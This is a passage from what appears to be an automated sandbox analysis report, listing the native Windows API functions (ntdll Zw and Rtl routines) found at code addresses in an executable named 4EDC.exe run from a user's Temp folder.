Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049520 ZwWaitForSingleObject,	22_2_6C049520
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFD22 ZwQueryInformationProcess,RtlUniform,	22_2_6C0BFD22
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,	22_2_6C034D3B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8D34
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091D43 ZwQueryInformationThread,	22_2_6C091D43
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C030548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,	22_2_6C030548
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D1D55 ZwFreeVirtualMemory,RtlWakeAddressAllNoFence,	22_2_6C0D1D55
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091D6A ZwWaitForMultipleObjects,	22_2_6C091D6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C6D61 ZwAllocateVirtualMemoryEx,	22_2_6C0C6D61
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049D70 ZwAlpcQueryInformation,	22_2_6C049D70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,	22_2_6C091570
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,	22_2_6C01DD80
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0CB581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0CB581
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0C1582 ZwTraceEvent,	22_2_6C0C1582
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003591 ZwSetInformationFile,	22_2_6C003591
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0065A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,	22_2_6C0065A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049DA0 ZwAlpcSendWaitReceivePort,	22_2_6C049DA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0495B0 ZwSetInformationThread,	22_2_6C0495B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049DB0 ZwAlpcSetInformation,	22_2_6C049DB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C004DC0 RtlpUnWaitCriticalSection,RtlWakeAddressAllNoFence,RtlRaiseStatus,TpWaitForAlpcCompletion,RtlpUnWaitCriticalSection,ZwSetEvent,TpWaitForAlpcCompletion,ZwAlpcQueryInformation,	22_2_6C004DC0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0495C0 ZwSetEvent,	22_2_6C0495C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02EDC4 ZwCancelWaitCompletionPacket,	22_2_6C02EDC4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0045D0 RtlGetThreadWorkOnBehalfTicket,RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,	22_2_6C0045D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0495D0 ZwClose,	22_2_6C0495D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0BFDD3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049DE0 ZwAssociateWaitCompletionPacket,	22_2_6C049DE0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0095F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,TpSetPoolMinThreads,	22_2_6C0095F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	22_2_6C0BBDFA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0495F0 ZwQueryInformationFile,	22_2_6C0495F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,LdrQueryImageFileKeyOption,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,	22_2_6C00C600
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049610 ZwEnumerateValueKey,	22_2_6C049610
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C042E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,	22_2_6C042E1C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C092E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C092E14
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049E20 ZwCancelTimer2,	22_2_6C049E20
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D3E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,	22_2_6C0D3E22
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B630 ZwWaitForKeyedEvent,	22_2_6C00B630
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0BFE3F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049E30 ZwCancelWaitCompletionPacket,	22_2_6C049E30
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,	22_2_6C04B640
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,	22_2_6C04B650
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049650 ZwQueryValueKey,	22_2_6C049650
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,	22_2_6C096652
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,RtlGetCurrentTransaction,	22_2_6C03BE62
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AE70 ZwSetInformationWorkerFactory,	22_2_6C04AE70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049670 ZwQueryInformationProcess,	22_2_6C049670
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C003E80
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,	22_2_6C0BBE9B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,	22_2_6C03DE9E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002E9F ZwCreateEvent,ZwClose,	22_2_6C002E9F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049EA0 ZwCompareSigningLevels,	22_2_6C049EA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C092EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C092EA3
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D3EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,	22_2_6C0D3EBC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,RtlSetThreadWorkOnBehalfTicket,	22_2_6C02E6B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0496C0 ZwSetInformationProcess,	22_2_6C0496C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C039ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,	22_2_6C039ED0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0496D0 ZwCreateKey,	22_2_6C0496D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0066D4 RtlInitUnicodeString,ZwQueryValueKey,	22_2_6C0066D4
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,	22_2_6C002ED8
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8ED6
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0496E0 ZwFreeVirtualMemory,	22_2_6C0496E0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,	22_2_6C00B6F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0916FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,	22_2_6C0916FA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C05DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,	22_2_6C05DEF0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02E6F9 ZwAlpcSetInformation,	22_2_6C02E6F9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0176FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,	22_2_6C0176FE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C039702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,	22_2_6C039702
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049710 ZwQueryInformationToken,	22_2_6C049710
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C096715 memset,memcpy,ZwTraceEvent,	22_2_6C096715
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,	22_2_6C03E730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049730 ZwQueryVirtualMemory,	22_2_6C049730
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BCF30 ZwAlertThreadByThreadId,	22_2_6C0BCF30
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049740 ZwOpenThreadToken,	22_2_6C049740
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,	22_2_6C03174B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C040F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,	22_2_6C040F48
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08A746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,	22_2_6C08A746
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049750 ZwQueryInformationThread,	22_2_6C049750
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,	22_2_6C095F5F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C006F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlGetPersistedStateLocation,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,	22_2_6C006F60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AF60 ZwSetTimer2,	22_2_6C04AF60
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C09176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,	22_2_6C09176C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8F6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,	22_2_6C03CF6A
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049F70 ZwCreateIoCompletion,	22_2_6C049F70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049770 ZwSetInformationFile,	22_2_6C049770
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,	22_2_6C0BCF70
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C095780 DbgPrompt,ZwWow64DebuggerCall,	22_2_6C095780
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B5F87 ZwUnmapViewOfSection,	22_2_6C0B5F87
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,	22_2_6C03FF9C
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C08A7AC ZwCompareSigningLevels,ZwCompareSigningLevels,	22_2_6C08A7AC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0497A0 ZwUnmapViewOfSection,	22_2_6C0497A0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C043FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,RtlGetLocaleFileMappingAddress,ZwUnmapViewOfSection,	22_2_6C043FA0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C002FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlDestroyHeap,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C002FB0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,EtwNotificationUnregister,	22_2_6C00F7C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0497C0 ZwTerminateProcess,	22_2_6C0497C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,	22_2_6C03D7CA
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04AFD0 ZwShutdownWorkerFactory,	22_2_6C04AFD0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03DFDF RtlWakeAddressAllNoFence,ZwAlertThreadByThreadId,RtlWakeAddressAllNoFence,	22_2_6C03DFDF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C090FEC ZwDuplicateObject,ZwDuplicateObject,	22_2_6C090FEC
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0337EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,	22_2_6C0337EB
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C010FFD RtlInitUnicodeString,ZwQueryValueKey,	22_2_6C010FFD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00E009 memset,ZwIsUILanguageComitted,RtlpGetNameFromLangInfoNode,ZwQueryInstallUILanguage,RtlLCIDToCultureName,RtlFreeHeap,	22_2_6C00E009
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF019 RtlInitUnicodeString,RtlInitUnicodeString,ZwQueryValueKey,RtlAllocateHeap,ZwQueryValueKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,	22_2_6C0DF019
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F018 RtlAllocateHeap,ZwQueryValueKey,memcpy,RtlFreeHeap,	22_2_6C00F018
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C034020 RtlGetVersion,RtlGetSuiteMask,RtlGetNtProductType,RtlInitUnicodeString,ZwQueryLicenseValue,RtlGetSuiteMask,RtlGetVersion,	22_2_6C034020
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049830 ZwOpenFile,	22_2_6C049830
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049840 ZwDelayExecution,	22_2_6C049840
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C005050 RtlSetCurrentDirectory_U,RtlAllocateHeap,RtlFreeHeap,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlSetCurrentDirectory_U,RtlFreeHeap,RtlFreeHeap,	22_2_6C005050
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049850 ZwQueryDirectoryFile,	22_2_6C049850
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8858 ZwAlertThreadByThreadId,	22_2_6C0D8858
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C01106F ZwOpenKey,ZwClose,	22_2_6C01106F
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091879 ZwAllocateVirtualMemory,memset,RtlInitializeSid,	22_2_6C091879
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C003880 TpSetWaitEx,RtlAllocateHeap,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,TpSetWaitEx,	22_2_6C003880
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03A080 RtlDeleteCriticalSection,RtlAcquireSRWLockExclusive,RtlDeleteCriticalSection,RtlDeleteCriticalSection,ZwClose,RtlDeleteCriticalSection,	22_2_6C03A080
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04108B ZwClose,	22_2_6C04108B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02E090 RtlWow64EnableFsRedirectionEx,RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,	22_2_6C02E090
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A890 ZwQueryDebugFilterState,	22_2_6C04A890
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049890 ZwFsControlFile,	22_2_6C049890
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B60A2 ZwQueryInformationFile,	22_2_6C0B60A2
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02F0AE ZwSetInformationWorkerFactory,	22_2_6C02F0AE
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B0B0 ZwTraceControl,	22_2_6C04B0B0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0318B9 ZwCreateTimer2,ZwCreateWaitCompletionPacket,ZwAssociateWaitCompletionPacket,ZwClose,	22_2_6C0318B9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03F0BF ZwOpenFile,RtlFreeHeap,ZwQueryVolumeInformationFile,RtlAllocateHeap,memcpy,ZwClose,ZwClose,RtlFreeHeap,	22_2_6C03F0BF
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0070C0 ZwClose,RtlFreeHeap,RtlFreeHeap,	22_2_6C0070C0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0400C2 ZwAlertThreadByThreadId,	22_2_6C0400C2
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0410D7 ZwOpenKey,ZwCreateKey,	22_2_6C0410D7
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0498D0 ZwQueryAttributesFile,	22_2_6C0498D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A0D0 ZwCreateTimer2,	22_2_6C04A0D0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0B60E9 ZwOpenKey,ZwClose,ZwClose,	22_2_6C0B60E9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0BE0E9 RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwClose,RtlFreeHeap,	22_2_6C0BE0E9
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B8F0 TpSetPoolStackInformation,ZwSetInformationWorkerFactory,	22_2_6C00B8F0
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0040FD RtlImageNtHeaderEx,DbgPrintEx,memset,RtlDebugPrintTimes,DbgPrintEx,wcsstr,DbgPrintEx,DbgPrintEx,wcschr,DbgPrintEx,ZwSetInformationProcess,	22_2_6C0040FD
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C009100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,TpReleasePool,TpReleasePool,RtlDebugPrintTimes,TpReleasePool,	22_2_6C009100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C010100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,LdrUnloadAlternateResourceModuleEx,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,	22_2_6C010100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049900 ZwOpenEvent,	22_2_6C049900
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0A5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,RtlAssert,ZwTerminateProcess,	22_2_6C0A5100
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C024120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,	22_2_6C024120
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C049920 ZwDuplicateToken,	22_2_6C049920
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C09193B ZwRaiseException,ZwTerminateProcess,	22_2_6C09193B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A130 ZwCreateWaitCompletionPacket,	22_2_6C04A130
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0DF13B ZwOpenKey,ZwCreateKey,	22_2_6C0DF13B
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C02B944 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,RtlGetCurrentServiceSessionId,ZwSetTimer2,RtlGetCurrentServiceSessionId,ZwCancelTimer2,	22_2_6C02B944
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00F150 RtlOpenCurrentUser,RtlFormatCurrentUserKeyPath,ZwOpenKey,RtlFreeUnicodeString,RtlOpenCurrentUser,RtlInitUnicodeString,ZwOpenKey,	22_2_6C00F150
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B150 ZwUnsubscribeWnfStateChange,	22_2_6C04B150
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00395E RtlAcquireSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwGetCompleteWnfStateSubscription,RtlFreeHeap,	22_2_6C00395E
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04B160 ZwUpdateWnfStateData,	22_2_6C04B160
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C04A160 ZwCreateWorkerFactory,	22_2_6C04A160
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C0D8966 RtlGetCurrentServiceSessionId,ZwTraceEvent,	22_2_6C0D8966
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C00B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,	22_2_6C00B171
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C03D976 ZwCreateFile,ZwCreateFile,	22_2_6C03D976
Source: C:\Users\user\AppData\Local\Temp\4EDC.exe	Code function: 22_2_6C091976 ZwCreateEvent,	22_2_6C091976
